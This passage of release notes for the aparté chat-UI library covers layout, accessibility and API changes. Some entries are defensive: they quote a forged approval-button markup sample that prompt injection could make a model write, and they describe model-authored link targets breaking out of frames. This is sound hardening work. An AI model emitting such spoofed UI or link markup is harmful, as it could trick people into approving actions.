::afterpaid the column’s gap the padding never did, and the hidden button’s slide overhung the content end), and the hidden button now fades instead of sliding in framework-managed mode — its flow position is the very end of the content, so the 8px slide was pure scrollable overflow. Core mode keeps the slide.Measured in the browser (spacer 0/60/130/230px): the button holds 16px at every distance from the bottom; before, it floated 48/108/178/278px. A new e2e spec (
scroll-button.spec.ts) asserts the rendered geometry in both transcript modes on Chromium and WebKit — the first assertion in the repo that locates this button rather than driving it.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr, @aparte/docs-mcp.
0.16.1
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
4040ba9: The composer examples no longer put
style="flex: 1"on<aparte-composer-input>— the stylesheet already gives itflex: 1 1 auto, and the inline value changed the basis to0%.Nineteen examples carried it, across the element docblocks the reference pages are generated from, the guides and the demos. It worked everywhere it was written, which is what made it worth removing: copied into a row where the input’s content should decide its width,
flex: 1 1 0%collapses it instead. Reported by a consumer reading the getting-started guide.@aparte/core -
6a786c3: A fenced code block written by the model now wraps instead of being silently cut off. Nothing to change on your side.
@aparte/plugin-markedrenders ``` as a bare<pre><code>, and the stylesheet’s onlyprerule was scoped to.aparte-code-content-wrapper— a class only thecodesegment renderer emits, which marked cannot produce. So a markdown block matched no rule and kept the browser’swhite-space: pre: it never wrapped, laid itself out at its own intrinsic width, and the bubble’soverflow: hiddenamputated the tail. No scrollbar, no ellipsis — the code past the edge was simply gone.Measured on one block:
scrollWidthwas a constant 963px at chat widths 1500, 800, 600, 512 and 380, against client widths of 776 / 724 / 524 / 460 / 328. It overflowed even at 1500. The same two declarations the code card already carries —white-space: pre-wrapandoverflow-wrap: anywhere— now apply to prose as well, and the block ends on the column at every width.Only the wrapping is shared, not the surface: the card’s padding and background belong to the
codesegment, and giving a markdown block one is a look decision rather than this fix.@aparte/core -
3b5ab3e: The composer no longer goes flush to the chat’s edges on a container narrower than 800px — it takes the same left/right gutter as the transcript. Nothing to change on your side.
.aparte-composer-shelland.aparte-messageboth cap at--aparte-message-max-width(800px) and centre withmargin: 0 auto, so on a wide container they lined up by construction. Below 800px the cap stops applying and each fills its own parent — and<aparte-composer>had no padding at all, so the composer went edge to edge while the messages kept their inset. Measured at a 512px chat: message column 26/26, composer 0/0. Every chat narrower than 800px was hit: phones, embedded widgets, either pane of<aparte-split>, and an app shell whose docked sidebar leaves the chat narrow on a wide window.<aparte-composer>now reads the transcript’s own--aparte-viewport-paddingon its inline axis.Framework-managed viewports (React, Vue, Svelte, Angular) also stop overflowing their own chat.
<aparte-chat-viewport>iswidth: 100%, the framework path adds padding to it, and core ships no global border-box reset — so the host was 32px wider than the chat and the chat clipped it, leaving the transcript about 16px toward the end edge. Measured on a 1500px chat: the host was 1532 wide. If your app has a global* { box-sizing: border-box }you never saw this; if it does not, your transcript moves back to centre.Two things to know. Content you put directly inside
<aparte-composer>without the.aparte-composer-shellwrapper now picks up the same 16px inset, the way the transcript’s wrapper has always inset the messages. And the transcript reserves a scrollbar gutter that the composer cannot: on a platform with classic scrollbars the two columns still differ by that gutter (about 10px per side in Chromium) below 800px, where on a platform with overlay scrollbars — every phone — they now match exactly.@aparte/core -
9f9f13d: A tool call’s state (“Done”, “Running”) now ends on the same edge as the reply text. It stopped
--aparte-space-3short of it — six pixels, on the one line of a turn whose whole job is to read as a quiet aside beside the prose. Nothing to change on your side.The row’s horizontal padding is its hover surface, not its column, so a negative margin gives it back and puts the row’s content on the message column. That margin was
margin-inline-startalone: the chevron, the icon and the name landed on the column, the trailing state did not, and the hover surface bled to the left only.margin-inlinegives both sides back.Measured at a 512px chat: the text spans L26/R26 and the state’s right edge sat at R32; it is at R26 now, at every width. Reported by a consumer looking at a bubble that mixed a tool call and a text segment in a narrow pane — the case where the two segments sit one above the other and the eye reads the column as crooked.
@aparte/core -
6484a3c: Scrolling up during a streaming reply now works on WebKit. A wheel notch moves Safari about 33px at a time, and the viewport’s bottom threshold is 50px — so each notch read as “still at the bottom”, the follow stayed armed, and the settle chain put the reader back one millisecond later. Twelve notches, same position. Nothing to change on your side.
The threshold’s generosity is right and stays: a few pixels of layout drift must not read as “the reader walked away”. What was missing is that it outranked the reader.
_readerInputAt— the wheel, touchmove, a navigation key, a press in the scrollbar gutter — already tells a gesture from drift, and the settle logic already trusted it; the arming side did not consult it. It does now, so a decrease with a hand on it disarms whatever its size, while the same 33px with no gesture behind it is still drift and still keeps the follow.Measured from CI’s own timestamped scroll log: wheel at 135ms, the reader at 565,
scrollTop = 598written back at 155ms, repeat.@aparte/core -
1ed1d25:
@aparte/provider-transformersruns when it is served from another origin than the page — a CDN, or any deploy whose assets have their own host.Two walls stood between this provider and such a page, and each one hid the next.
The worker could not be constructed.
new Worker()refuses a cross-origin script outright, so the provider threwSecurityError: Script at '…/assets/worker-*.js' cannot be accessed from origin '…'at the firstprepareModel(). It is not a CDN-only case: any app whose JavaScript is served from an asset host hits it, bundler or not. The worker is now started through a same-originblob:whose whole body is one absolute import of the real file — a blob inherits the origin of the document that mints it, which is what makes it legal, and it is the same shim ffmpeg.wasm and tesseract.js use. Same-origin keeps the direct construction: no blob, nothing to revoke, and a stack trace that names the real file. The blob is released when the worker is terminated.The worker could not resolve Transformers.js. Its first line imported
@huggingface/transformersby bare specifier, and an import map is the document’s: by spec it does not reach a worker, so a page could map the specifier for itself and the worker still could not use it. The worker now resolves the module when it first needs it —import('@huggingface/transformers')first, which is statically visible so a bundler resolves and bundles the peer exactly as before, and failing that the absolute URL the main thread read out of the page’s own import map (throughimport.meta.resolve, falling back to reading the map) and sent in the worker’s first message.Nothing new is exported, and nothing changes for an app with a bundler. For a page without one, the import map it already needs to import
@aparte/coreby name is now also what tells the worker where Transformers.js lives — the version pin stays with you, which is what the peer dependency was for.One case remains impossible: a page whose Content-Security-Policy forbids
blob:inworker-src/script-srccannot start a cross-origin worker at all, and the provider now says so by name instead of letting the browser’s own message stand. Serve the package from your own origin there.@aparte/provider-transformers -
2763490: The summarisation instruction now travels in the ask itself instead of a
systemmessage, so a provider that imposes its own system prompt can no longer drop it.A provider serving a local model under a fixed training contract replaces the request’s
systemmessage with its own — legitimately. When it did, the instruction never reached the model, nothing errored, and the model answered a bare “Please summarize this conversation.” after somebody else’s persona. Measured by a consumer on three transcripts: one reply refused for want of internet access, one said “noted, I’ll do it”, and one invented figures for a client that appears nowhere in the transcript — which the plugin then wrote back as the summary notice, making the invention the premise of every turn that followed.The instruction is not a persona: it is the task of that one request, and it now sits where every provider must look. Nothing changes for a provider that honoured the system message,
promptandDEFAULT_COMPACTION_PROMPTare unchanged, andsummarizestill bypasses the transport entirely.@aparte/plugin-compaction -
77fd6fa: The default summarisation prompt now forbids continuing the conversation.
DEFAULT_COMPACTION_PROMPTgains one sentence — “Do not continue the conversation, do not answer a question it contains and do not call a tool: reply with the summary and nothing else.” Nothing to change unless you pass apromptof your own, in which case add a clause like it.Why it matters now: the instruction rides the final
userturn, which is also where a reply to the conversation would go. A model handed a transcript that ends in a question has two plausible things to do — summarise it, or answer it — and the answer is what gets written back as the summary notice, becoming the premise of every following turn.The clause is not invented here. Of sixteen implementations surveyed, every one that puts its instruction in the user turn carries such a clause, and one inserts a fake assistant turn on top of it. Ours ended at “No preamble.”
@aparte/plugin-compaction
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
99da790: The application shell: three recipes and one element, so a ChatGPT-style page can be built on aparté alone.
.aparte-app-shellis the grid (sidebar beside, header above,__mainin the rest);.aparte-app-headeris the bar (a toggle shown under 48rem, a title, an__actionszone);<aparte-sidebar>wears the.aparte-sidebarrecipe (__header,__search,__body,__footer) and carries the three behaviours a column has — it collapses (collapsed, reflected; any[data-aparte-sidebar-toggle]toggles it;aparte-sidebar-togglefires), it becomes a drawer under 48rem — or under the length itsbreakpointattribute names, and never withbreakpoint="none"— (data-drawer, a scrim, Escape, focus returned to the opener), and an input carryingdata-aparte-sidebar-searchfilters the conversation list by title. Tokens:--aparte-sidebar-width,--aparte-sidebar-bg,--aparte-app-header-height,--aparte-scrim; locale keysidebarLabel. A guide, “An application shell”, shows the whole page with a live demo.The line was drawn on 2026-08-29: shell chrome without product state is the library’s, like the viewport is; a recipe draws, an element exists only where there is behaviour — a header has none, a sidebar has three. What stays with the product: routing, authentication, the storage adapter, the contents of a settings panel.
@aparte/core,@aparte/locale-fr -
41aaee8: An approval option can carry a
description— a second line drawn under its label,string | (() => string)like the label so it follows a live language switch — to say what choosing it commits to:{ label: 'Always allow this command', description: 'git status' }next to{ label: 'Always allow any git command', description: 'git *' }.Issue #37: a host remembered the first word of a command while its button said only “Always allow”, and the panel had nowhere to show the reach of that “always”. A choice question’s options already had
description; the approval side now has the same, drawn with the same body (.aparte-elic-option-title/.aparte-elic-option-desc).@aparte/core -
bec58ff: A per-call approval policy:
config.setApprovalPolicy((call, tool) => ruling)decides for every tool call whether it runs (allow), asks at the composer (ask), or is refused with a sentence of its own (deny+reason).undefinedleaves the tool’sneedsApprovalto decide, as before. New exportsAparteApprovalPolicyandAparteApprovalRuling;config.getApprovalPolicy()andconfig.ruleOnToolCall(call)read it back. A host’s ownapprovalResolveronAparteClientOptionsis untouched — it already owns the decision.needsApprovalis a declaration about a TOOL; a mode (“plan”: read-only, “auto”: never ask) is a decision about a CALL, and the samerun_commandcan be a read or an execution. The client’s default channel consults the policy twice — once to decide whether the call pauses at all, so an allowed call never flashes awaiting approval, once to answer — and a refusal by policy reaches the model verbatim, never as “the user rejected this”.@aparte/plugin-approvalbuilds the four modes on this seam.@aparte/core -
45574cd: A tool result can carry a structured value beside its prose:
AparteToolResult.structuredContent(MCP’s name for exactly this field) travels with the call and lands on the transcript’s segment asAparteToolCallSegment.structuredResult.contentis unchanged — it stays what the model reads.A tool renderer that had to parse its own JSON back out of the prose can read the value directly;
@aparte/plugin-ask-user’s receipt and@aparte/plugin-artifacts’ card both do.@aparte/core -
4123389:
aparte-approval-mode-changecarries a typed detail:AparteApprovalModeChangeEventDetail({ mode, previousMode }) is exported from@aparte/coreand is inAparteEventMap, so a listener readse.detailwithout a cast.The event is dispatched by
@aparte/plugin-approval’s<aparte-approval-mode>when the person switches mode; it bubbles and crosses shadow roots, so a host can persist the choice from any ancestor.@aparte/plugin-approvalre-exports the type. It is not inAPARTE_DEFAULT_UI_EVENTS— a plugin’s events never are — so under a wrapper, pass the name:events: ['aparte-approval-mode-change'].The type lives in core for the same reason
AparteModelChangeEventDetaildoes: the event map is core’s, and a listener in any framework reads its detail through it.modeandpreviousModeare plain strings — the four values (plan,ask,auto-edit,auto) are the plugin’s, and core names none of them.pnpm check:event-maprefuses an event dispatched with a detail and absent from the map, since every listener would otherwise cast.@aparte/core -
22fe79e: A link in a model’s reply can no longer choose its own target: unless it is a
_selfon a link that was staying here anyway, it opens in a new tab withrel="noopener noreferrer".Breaking for model-authored markup only — no caller code changes, but a reply that writes
target="_top",target="frame"or arelof its own no longer gets what it asked for. Nothing a host writes is affected: the sanitizer only ever reads provider output.targetandrelused to be allowlisted on<a>and copied through untouched, which handed the model two things._top/_parentbroke out of the frame the chat lives in — no external URL required, a same-site link did it — and in an Electron window that frame is the whole application. A NAMED target (target="victimframe") opened a page holding a livewindow.opener, which is the reverse-tabnabbing the_blankbranch has always hardened against;rel="opener"simply cancelled that hardening. The attribute is now read as a wish and clamped: everything becomes a new tab that cannot reach back, and a model-writtenrelnever survives._selfis the one wish honoured, and only where it changes nothing a browser would not already do — on a same-site or in-page link. On an off-site href it is not a preference but a downgrade: that link opens a new tab when notargetis written at all, so honouring_selfthere would hand the model exactly the frame navigation this clamp refuses.@aparte/core -
22fe79e: Markup in a model’s reply can no longer wear a core class name: the sanitizer now drops any class token starting with
aparte-.Breaking only for a markdown or highlight provider that deliberately emitted core’s own classes to borrow its recipes — a class token of any other shape is untouched,
language-*included, which is the one class a highlighter is identified by.classis allowlisted because a highlighter’s output is mostly classes, and that let model-authored markup dress itself as core’s UI:<div class="aparte-approval-option aparte-btn">Approve</div>survived the sanitizer untouched and painted a pixel-perfect approval button inside the transcript, next to the real one. Every core surface can be forged the same way, and prompt injection is enough to write it. Core owns theaparte-prefix wherever it emits a class, so nothing arriving from a provider keeps one.@aparte/core -
4123389: The host’s
clearMessages()takes{ revokeAttachments?: boolean }and passes it to the viewport’sclearAll(), so a caller that empties the transcript and re-appends some of the same turns keeps their attachments working.Emptying the transcript releases the
blob:object URL of every attachment it drops — a deliberate leak fix. A caller that puts some of those turns straight back (a compaction is the case in this repo) therefore re-appended them with dead URLs: every image and file chip on a surviving turn came back broken. Passing{ revokeAttachments: false }keeps the URLs alive and leaves the caller to release the ones it really dropped.The option is on the whole chain, and each link forwards it:
AparteChatImperativeApi.clearMessages(options?),AparteChatBinding.clearMessages(options?), the host’sclearMessages(options?)and the viewport bridge’sclearAll(options?). Optional everywhere — an existing call site and a binding of your own are unchanged, andclearMessages()with no argument still revokes.This is the half that makes
@aparte/plugin-compactionkeep those attachments under React, Vue, Svelte and Angular. Under a wrapper the transcript the plugin resolves is the wrapper’s own root element, whoseclearAllbridge dropped the argument on the floor: the plugin asked, core did not carry, and the wrapper suites stayed green because the plugin’s own target is a plain array.@aparte/core -
a7528d1: Two of the ten pre-beta audit fixes are visible to your code:
AparteToolCallSegment.statusgains the valuefailed(with a new optional locale key,toolFailed), andaparte-message-doneno longer fires for a turn superseded by a retry or an edit on an earlier bubble. The other eight change no call you make.A tool handler that throws now settles its row on that
failedstatus — badge and locale key — instead of spinning “Running” forever; aswitchoverstatusin a renderer of your own should answer it, and a locale of your own may translatetoolFailed(it falls back to the built-in English otherwise). A superseded turn ends on its own signal rather than the client-wide abort flag the next send resets, which is why it no longer announces a reply that was cut.The rest. Core stamps
data-segment-idon the root of every renderer’s output, tool renderers included — a root without it (the ask_user receipt) made every update of that segment wipe and rebuild the whole bubble, destroying a mounted artifact preview and collapsing an opened reasoning block.AparteMessageRepository.import()skips a repeated id (a snapshot naming itself as its own parent recursed forever). Under the four wrappers: a framework append is recorded in the viewport’s tree by the same act (a manual token stream used to invent a phantom root and reverse the path on the next branch operation); the transcript’s read-only-while-streaming flag has one writer per mode —setTranscriptBusy, written by the host — so retry, edit and the branch arrows are disabled during a reply as they were meant to be; and the conversation controller subscribes to a manager registered afterbind(), which is every wrapper’s case, so deleting the active conversation elsewhere clears the binding. Thenodeentry exports the element classes as types, as the docs promised. The composer button’s JSDoc no longer describes an “advance” meaning.@aparte/core -
95613d0: Escape closes the sidebar drawer from anywhere on the page, opening the drawer moves focus into it, and a collapsed sidebar carries
inert+aria-hidden="true"so it holds no tab stop.Three halves of one gap. The keydown listener was on the element, so Escape worked only once the focus was already inside the drawer — and nothing put it there, so in the documented shell it did nothing at all. It listens on the document now; the
drawer && !collapsedguard was always the whole filter.Opening the drawer moves the focus to its first focusable child, so the next Tab walks the drawer rather than the transcript underneath it, and closing still hands the focus back to the control that opened it.
A collapsed sidebar — folded to nothing as a column, slid off screen as a drawer — now carries
inertandaria-hidden="true". It was keeping every tab stop and its whole subtree in the accessibility tree while invisible. The element removes only what it wrote, so aninertyou set yourself (the sidebar behind your own modal) survives a resize.@aparte/core -
00126e3: The approval panel now shows the tool call’s arguments under the question — the thing being approved is on the surface where you click.
New
details?: stringonAparteElicitationRequest, and a fourth (optional) argument onbuildApprovalPanel. Set it on your ownrequestUserInput({ kind: 'approval' })and the text appears between the question and the options, in a capped, scrollable, keyboard-reachable block. It is rendered throughtextContent— never markup, and never a render hook: the content is model-authored, on the one control in the library whose whole job is to stop a model.The built-in gate fills it with the call’s pretty-printed JSON. Until now the panel asked Run
delete_file? and stopped there, while which file — the whole of what a person is deciding — stayed in the transcript row behind a disclosure that stays closed on purpose. The guide had promised the opposite the entire time (“name and arguments, since the arguments are what is being approved”), and so had the client’s own docblock, which said the arguments stay in the transcript. Both now describe what happens.One function builds the text for both surfaces (
describeToolInput, inutils/), because two renderings of one value drift — and here the drift would be a person approving a call they read differently from the one that runs. The transcript row still does not open itself: the panel is the decision surface now, so the last argument for unrolling it is gone. New locale keyapprovalArgsLabel(default “Arguments”), translated in@aparte/locale-fr.@aparte/core -
08bbdae: The transcript can now be focused and scrolled with the keyboard in Safari; it carries a name for screen readers.
<aparte-chat-viewport>’s scroll surface getstabindex="0"and anaria-label— on.aparte-viewport-containerin the default mode, on the host itself inframework-managedmode, since that is what scrolls there. It also carriesrole="log", which the container already had and the host did not:aria-labelis prohibited on an element whose role resolves to none, so a name without a role would have been the same defect mirrored. Inframework-managedmode that makes the transcript a polite live region, as it already was in the default mode. The name comes from a new locale key,transcript(default “Transcript”), translated in@aparte/locale-frand re-applied on a live language switch.If your app tabs through the page in a fixed order, there is one more stop in it, between the chrome above the chat and the composer.
WebKit does not give an unfocusable overflow box a keyboard scroll of its own the way Chromium and Firefox do. So on Safari a plain-text transcript — no links, no code blocks, nothing focusable inside — stopped at the first screen for anyone not using a pointer, with no error and nothing on screen to say why. The framework mode looked fine and only by accident: the scroll-to-bottom button is a child of the host and stays tabbable while it is visually hidden, so Tab happened to land somewhere that scrolled. That is a coincidence, one
hiddenattribute away from taking the transcript’s keyboard access with it, so both modes now say what they mean. Proven in a real WebKit run (e2e/tests/transcript-keyboard.spec.ts), which is the only place the defect is visible at all.@aparte/core -
81d0b54: The message action bar is now one tab stop with Left/Right arrows inside it, as its
role="toolbar"always claimed.Tabbing through a transcript is shorter: each bubble’s bar contributes one stop instead of one per button. Inside a bar, Left and Right move and wrap, Home and End jump to the ends, and disabled buttons are skipped — while a turn is streaming, retry and edit are disabled, and a toolbar whose arrows stop on a dead control reads as broken. The arrows follow the reading direction, so in an RTL transcript Left is the one that advances.
The bar has announced itself as a toolbar since it existed, and a toolbar IS the roving-tabindex pattern: one member in the tab order, the arrows moving between them. What shipped was five independent tab stops per message, so the role described a behaviour that did not exist — a screen-reader user told “toolbar, five items” pressed Right and nothing moved.
The model is re-derived in the one place all three build paths already funnel through, rather than in each builder, because the bar’s
innerHTMLis rewritten on asetBubbleActions, on entering and leaving the inline editor, and on a config change. A per-builder fix drifts the first time somebody adds a fourth path; the rebuild cases in the suite are what would catch that.@aparte/core -
3590e4a: The attachment ✕ label and the searchable select’s placeholder are now translatable (
removeAttachment,selectSearchPlaceholder,selectSearchLabel).Three strings were hardcoded English.
aria-label="Remove {file}"on the pending attachment’s ✕ andaria-label="Search options"on a searchable<aparte-select>’s filter are each the whole of what a screen-reader user hears on an unlabelled control. The third is worse:placeholder="Search..."is VISIBLE text, so a French page opened the model picker and read English in the box.removeAttachmentuses the{name}conventionapprovalAskanddeleteConversationConfirmalready use, and the file name is interpolated raw and escaped once at the end — reusing the tile’s already-escaped name would have escaped a&twice and read “rapport & co”. All three are translated in@aparte/locale-fr, and each keeps its English literal as a fallback so a custom locale that omits one renders a word rather than an empty box.node scripts/check-locale-keys.mjsnow cross-checks the two lists in both directions: at('…')naming no declared key, a declared key with no default, and — the half TypeScript cannot see, because every locale key is optional — a key@aparte/locale-frdoes not translate.@aparte/core,@aparte/locale-fr -
3c2e507: New
@aparte/core/browserentry point: point your test runner at it so<aparte-*>elements upgrade under Vitest + jsdom.// vitest.config.ts — the array form matches on a regex, so ONLY the bare specifier is// rewritten. An object alias is a prefix alias: it would also send `@aparte/core/icons`// to `@aparte/core/browser/icons`, which is not exported.test: { environment: 'jsdom', alias: [{ find: /^@aparte\/core$/, replacement: '@aparte/core/browser' }] }Why it is needed.
@aparte/coreresolves thenodeexport condition to a DOM-free entry, which is what makesimport '@aparte/core'safe in Next, Nuxt, SvelteKit and Angular Universal. A test runner is also Node, so it took that entry too — and then jsdom suppliedcustomElementswhile nothing had registered anything.document.createElement('aparte-chat')returned a plainHTMLElement, every assertion about the element’s own properties failed, and no error named the cause. There was no supported specifier to escape to: the four wrappers in this repo all aliased@aparte/coreat../../core/src/index.ts, reaching into another package’s source.registerAllComponents()on the DOM-free entry now says so: called with a DOM present, it logs one warning naming this specifier. A warning, not a throw — the environment is legal, only surprising.@aparte/core/package.jsonis exported as well, so a config canrequire.resolveit instead of hardcoding a path. The main.entry is unchanged and still resolvesnodefirst.@aparte/core -
3c2e507:
APARTE_DEFAULT_UI_EVENTSgains ten names:aparte-suggestion,aparte-context-threshold,aparte-scroll-rail-jump,aparte-sidebar-toggle,aparte-split-resize, and the turn’s lifecycle —aparte-message-start,aparte-message-done,aparte-message-error,aparte-message-abortedandaparte-tool-approval-request.That constant is what all four wrappers’
<AparteUi>listens for when you pass noeventsof your own, so a name missing from it is an event a wrapper consumer cannot hear at all. It carried 25 of the 35 core dispatches on an element. Five of the missing ten were the entire up-stack surface of this release; the other five were excluded on a stated reason — “they go out throughwindow.dispatchEvent” — that the code contradicts:dispatchLifecycleEventsends them on the host element, bubbling and composed, and the composer’swindowbroadcast is a second path rather than the only one.aparte-abort,aparte-compactandaparte-config-changestay out, and now for a reason that is true of them:windowis the only place they go.The list is checked against core’s dispatch sites by
pnpm check:event-map, so “verified against core” is a check rather than a claim — it had been a claim twice, and been wrong twice.@aparte/core -
575ec7e: Removed the unused locale key
tokensPerSecondLabel; nothing rendered it.If you set it, delete the line — it is ignored. A locale annotated
: AparteLocale(the shape@aparte/locale-fruses) now fails to compile on it; a bare object literal handed straight tosetLocalestill does not, because the open half of that parameter accepts any extra key. Nothing on screen changes: it was the one key of the eighty-odd with no reader anywhere in the repo, and its JSDoc named a “tokens-per-second perf chip” this library does not have.A locale key is a public contract a translator pays for, so one that renders nowhere is work asked of every locale author for no screen.
config/__tests__/locale.test.tsnow asserts that every declared key appears somewhere outside its two declaration sites, over a corpus with a floor — because a walk that silently shrinks would report “no unread keys” while reading four files.@aparte/core,@aparte/locale-fr -
575ec7e:
AparteLocaleis now closed, sot('typo')is a compile error instead of an empty label at runtime.Your own extra keys still work, and still round-trip:
setLocale,extendLocaleandgetLocaleall carryAparteLocale & AparteLocaleExtensions, the new open half, so a plugin reads its own key offgetLocale()exactly as before. What changes ist(), which now accepts core’s own keys only — which is the point. (AparteLocaleis a type alias rather than an interface, because an interface has no implicit index signature and so is not assignable to the extensions half.)The interface used to end with
[key: string]: string | undefined, and that one line disabled the only compile-time check the locale had.AparteConfig.t(key: keyof AparteLocale)looks airtight; with an index signaturekeyofwidens tostringand every literal typechecks. An audit plantedt('copy') → t('copyCodeBlock')as a deliberate mistake and nothing saw it:tsc --noEmitexited 0,t()returned''at runtime, and the label rendered empty with no error, no warning and nothing on screen to notice. Three keys had already reached production that way (submitButton,stopButton,actionUpload— read for months, declared by nobody), and a user reported the last one from a live language switcher.node scripts/check-locale-keys.mjsis the second layer, for the places the compiler cannot reach: a computedt(key as never), and the mirror direction TypeScript is blind to — every locale key is optional, so a French bundle that MISSES one compiles perfectly and ships English in the middle of a French page.@aparte/core -
ef6913c: The default density moves one step up, to where the kits a chat is compared against sit:
--aparte-radius-unit2px → 3px (radii 3/6/9/12/18px),--aparte-font-scale1 → 1.08 (14px body text),--aparte-btn-size-sm/md/lg20/28/36 → 24/32/40px, and the focus ring at 30% of the accent instead of 15%. A theme that set any of these keeps its value; the old look is four lines away, as the “compact” preset in the theming guide.The kit read as plain, and the measurement said why: on every axis — radius, control size, type size, ring — aparté was one step denser than shadcn or Radix. Nothing structural changed; the scales did.
@aparte/core -
1b1a715:
AparteClient.compact()andcompactionSelectorare removed: compaction is@aparte/plugin-compactionnow (setupCompaction()), and the client no longer listens foraparte-compact. Replaceclient.compact()withsetupCompaction({ keyResolver }).compact()— the resolver you gave the client, if any — andcompactionSelectorwith the plugin’sselector(itspromptoption is how you replace the summarising instruction). The typeAparteCompactionSelectoris gone with them.client.abort()no longer reaches a compaction: the stop button still does (the plugin listens foraparte-abort), and from code you call the controller’s ownabort().What core keeps is the contract the plugin (or a host summarising by other means) relies on: a message with
compaction: trueis drawn as a notice by the viewport (data-kind="compaction"on the bubble — centred, no avatar, no actions) and sent to the model under a fixed preamble saying what it is, on every history path;_meta.compactionon a request names a summarisation for a backend transport;<aparte-context auto-compact>dispatchesaparte-compactand resets onaparte-compact-done. The events gain a chat:aparte-compact-startnow carries{ targetId }(typed asAparteCompactStartEventDetail, in the event map),aparte-compact-donegainstargetIdandreason(empty/nothing-to-drop/running/streaming),aparte-compact-errorgainstargetId— so a gauge on a multi-chat page resets only its own.Why: no UI kit compacts and every agent SDK ships it as an opt-in module — a session wrapper, a middleware, a memory block. A summariser inside the client was another product’s habit wearing core’s type; the seam was already clean (the plugin uses only public APIs), so the behaviour moved and the seam stayed.
@aparte/core -
4123389: The composer’s send button always means submit:
AparteComposerPanelModeis'submit' | 'none', the'advance'member is gone, and so is the locale keyelicitationNext.Breaking on two lines only. A
switchor a comparison against'advance'no longer compiles. And a locale annotated: AparteLocale— the shape@aparte/locale-fruses — fails to compile onelicitationNext; a bare object literal handed tosetLocalestill passes, and the key is simply read by nothing. Delete the line.The button no longer “advances” through a form of several questions: it means submit throughout, enabled once every question has an answer, and the chips are the navigation — which was already true, since the chevron was a second way to do what a chip does. An answered chip now carries a check mark, and a
recommendedoption a “Recommended” tag (new locale keyelicitationRecommended).Measured against the reference product: Claude Code’s question panel switches questions by tab and submits everything with one button; a click selects and never submits. Ours did the same in a form, except for the button that pretended to be a “Next”.
@aparte/core -
8b1a1d8:
<aparte-context variant="ring">draws the gauge as a ring with the percentage beside it, for a toolbar where a bar wants a width and a ring wants none; the full reading (100k / 128k) is the ring’stitle. Same levels (warn/dangerrecolour the ring), same events, same accessible name — only the drawing differs. Two tokens size it:--aparte-context-ring-size(22px) and--aparte-context-ring-stroke(4, in the ring’s own 36-unit box). The default stays the bar.@aparte/core -
e4b1fbe:
<aparte-conversation-list>rows now carry one⋯button that opens a menu — rename, pin/unpin, archive/unarchive, delete with a confirmation — instead of permanent archive and delete icons; the rows are grouped by date (Pinned, Today, Yesterday, Previous 7 days, Previous 30 days, then by month) as soon as an item hasupdatedAt, andno-groupsrenders them flat. Three events are new:aparte-rename-conversation({ id, title }),aparte-pin-conversationandaparte-unpin-conversation({ id });AparteConversationListItemgainspinnedAt;AparteConversationManagergainspin(id)andunpin(id).What changes for a host that styled or scripted the old row:
- The row is no longer a
role="button"div with buttons inside it. It is a plain.aparte-conv-itemwrapping two native buttons:.aparte-conv-item__select(the title,aria-currentlives here now) and.aparte-conv-item__more.[data-conv-id]still marks the row. .aparte-conv-item__archiveand.aparte-conv-item__deleteare gone, and with them the tokens--aparte-conv-delete-color,--aparte-conv-delete-bg-hover,--aparte-conv-delete-color-hover,--aparte-conv-delete-radiusand the--aparte-conv-archive-*fallbacks.--aparte-conv-action-btn-sizenow sizes the⋯.- The locale strings
deleteConversation,archiveConversationandunarchiveConversationare menu items now and default to the bare verb (“Delete”, “Archive”, “Unarchive”). New keys:conversationActions,renameConversation,conversationTitle,pinConversation,unpinConversation,deleteConversationConfirm(with{title}),cancel, and the fiveconversationGroup*headings. Month headings are formatted with the locale’stag. - Three icon names join the provider:
more,pin,trash.trashIconandmoreHorizontalIconare still exported from@aparte/core/icons, as aliases of the same drawings.
Why the shape changed: two permanent icon buttons on every row — one of them turning red on hover — was the loudest element of the kit, and the first thing the maintainer named when asked what looked wrong. Every chat product on the market shows one quiet
⋯on hover, a menu behind it, and asks before the one action it cannot undo. The old row was also two buttons nested inside arole="button", which assistive technology does not model, with a synthetic Enter/Space handler to make the div act; two real buttons need none of that. The menu is placed withposition: fixedand closes on any scroll, so the list’s own overflow cannot clip it and no anchoring library is needed.@aparte/core - The row is no longer a
-
d67fa45: The artifact leaves core: install
@aparte/plugin-artifactsand callsetupArtifacts()to get the<artifact>tag, thecreate_artifacttool and the Code/Preview card back. Removed from@aparte/core: theAparteArtifactSegmenttype (and'artifact'from theAparteSegmentunion), the parser’s built-in<artifact>recognition, theaparte-artifact-start/-delta/-ready/-redownloadandaparte-file-gen-ready/-errorevents and their detail types, theartifactRedownload/artifactRehydratehost handlers,setArtifactPreviewBuilder/getArtifactPreviewBuilderandAparteArtifactPreviewBuilder,_meta.artifactHint,deriveArtifactKind, the artifact stylesheet and its--aparte-art-*tokens.An artifact is a convention an app teaches its model, not something a model does by nature — so it is a plugin, end to end, like
ask_user: a real tool, a renderer on its result, and a block grammar registered on the parser through the newregisterStreamBlock. What core keeps is generic: the parser seam,AparteToolRenderer.update, and one rule in the history serializer — a segment of a type core does not know contributes itscontent, else itsfallback— which is what kept an artifact readable by the model on the next turn and now covers every consumer type the same way. The eight locale strings the card reads (download,preview,code,generating,rebuildingPreview,previewPending,sandboxError,sandboxErrorHint) stay inAparteLocale, because a locale package translates one bag —@aparte/locale-fris untouched.@aparte/core -
32762be:
setElicitationOptions({ answerOnClick: false })makes a single-choice question select-then-send (radios plus the composer’s button) instead of answering on the click; the default staystrue.A question asked on its own with one choice — an
